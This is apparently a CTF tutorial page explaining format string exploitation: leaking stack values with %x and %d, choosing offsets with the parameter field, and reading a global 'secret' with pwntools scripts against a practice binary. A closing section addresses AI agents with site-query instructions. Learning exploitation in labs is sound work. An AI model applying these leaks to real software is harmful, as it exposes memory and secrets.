# Data Leak

Using format string exploitation is possible to read arbitrary value into the stack.&#x20;

## Reading values

As explained [here](/pwn/stack-exploitation/format-string.md#how-it-works), if there is more placeholders than arguments when calling the printf function, it will use the next values into the stack as arguments.

```bash
$ ./chall
Enter the password: %x.%x.%x.%x.%x
permission denied using password :
ffd98b6c.f.9c2e1a0.f7f3b000.f7f77230
```

{% hint style="info" %}
It's possible to use any [type specifier](/pwn/stack-exploitation/format-string/specifier.md#type-field) to leak as needed type, for example with the %d :&#x20;

```bash
$ ./chall
Enter the password: %d.%d.%d.%d.%d
permission denied using password :
-2766116.15.154689952.-134955008.-134708688
```

{% endhint %}

## Offsets

In most of binaries, the user input has a length limitation, so how to do if the needed value is the 5th stack value and the input limit is 2 ?&#x20;

```
$ ./chall
Enter the password: %5$x
permission denied using password :
f7f77230
```

{% hint style="success" %}
Using the [parameter field](/pwn/stack-exploitation/format-string/specifier.md#parameter-field) allows to choose the argument to be printed.
{% endhint %}

## Arbitrary data read

When the `%s` placeholder is used, the formatted parameter need to be a pointer to the string value. So it's possible to inject an arbitrary pointer address into the user input and then read this value as previously show.

Thus, the payload must be `[targeted address]%[offset]$s`

### Retrieving user input offset

To retrieve the user input offset, send 4 well known bytes such as "0x41414141" (which is 4 'A') followed by the format string "%1$x" and increase the value till retrieve the 4 bytes.

{% hint style="info" %}
This technique is commonly call "Fuzzing"
{% endhint %}

Here is a python script to do that :&#x20;

```python
from pwn import *

# Iterate over a range of integers 
for i in range(10):
    # Construct a payload that includes the current integer as offset
    payload = f"AAAA%{i}$x".encode()

    # Start a new process of the "chall" binary
    p = process("./chall")

    # Send the payload to the process
    p.sendline(payload)

    # Read and store the output of the process
    output = p.clean()

    # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
    if b"41414141" in output:
        # If the string is found, log the success message and break out of the loop
        log.success(f"User input is at offset : {i}")
        break

    # Close the process
    p.close()

```

```bash
$ python3 test.py
[+] User input is at offset : 7
```

### Read arbitrary value

{% hint style="info" %}
For this example let's assume that there is a global declared variable called "secret" and PIE isn't set.
{% endhint %}

The first condition to read an arbitrary value is to know its address. In the example, the target is a global variable and as a global variable, it's within the binary itself. The location can be using `readelf` to check for symbols.&#x20;

```bash
$ readelf -s chall | grep secret
    57: 0804c02c    16 OBJECT  GLOBAL DEFAULT   23 secret
```

Thus, the payload must be `[targeted address]%[offset]$s` --> `\x2c\xc0\x04\x08$7$s`

Here is a python script to do that :&#x20;

{% code overflow="wrap" %}

```python
from pwn import *

# Start a new process of the "chall" binary
p = process('./chall')

# Convert the address 0x0804c02c to a packed 32-bit integer
addr = p32(0x0804c02c)

# Construct the payload by concatenating the packed integer and the string "%7$s"
payload = addr + b"%7$s"

# Send the payload to the process
p.sendline(payload)

# Read and log the output of the process
log.success(p.clean())

# Close the process
p.close()

```

{% endcode %}

```bash
$ python3 exploit.py
[+] b'Enter password: Permission denied using password :\n,\xc0\x04\x08SecretPassword!\n'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
